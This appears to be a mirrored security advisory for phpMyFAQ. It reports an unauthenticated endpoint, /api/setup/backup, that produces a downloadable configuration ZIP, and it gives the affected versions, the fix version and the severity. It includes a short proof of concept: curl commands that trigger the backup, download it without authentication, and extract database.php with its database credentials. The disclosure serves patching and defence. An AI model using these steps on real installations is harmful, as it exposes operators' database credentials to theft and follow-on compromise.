phpMyFAQ has unauthenticated config backup download via /api/setup/backup
Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
- Rewrite rule exposing the endpoint:
phpmyfaq/.htaccess:RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
- Controller implementation:
phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php→backup()- No call to
hasValidToken(),userIsAuthenticated(), or any permission check
- No call to
- Backup creation:
phpmyfaq/src/phpMyFAQ/Setup/Update.php→createConfigBackup()- Writes the ZIP into the config directory and returns a public URL under
content/core/config/
- Writes the ZIP into the config directory and returns a public URL under
PoC
Replace BASE_URL with your instance URL.
- Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
- Copy the
backupFileURL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
- Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default
.htaccessrewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | thorsten/phpmyfaq | < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 | 4.0.16 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-202- Platform
- Composer
- Package
thorsten/phpmyfaq- Disclosed
- 30.12.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9cg9-4h4f-j6fg - CC BY 4.0
Vulnerability history: thorsten/phpmyfaq
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 112
- First → latest
- 05.2022 09.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 8
- High 36
- Medium 67
- Low 1
Disclosures per year
- 2022: 8
- 2023: 62
- 2024: 2
- 2025: 6
- 2026: 34
-
phpMyFAQ has unauthenticated config backup download via /api/setup/backup this entry
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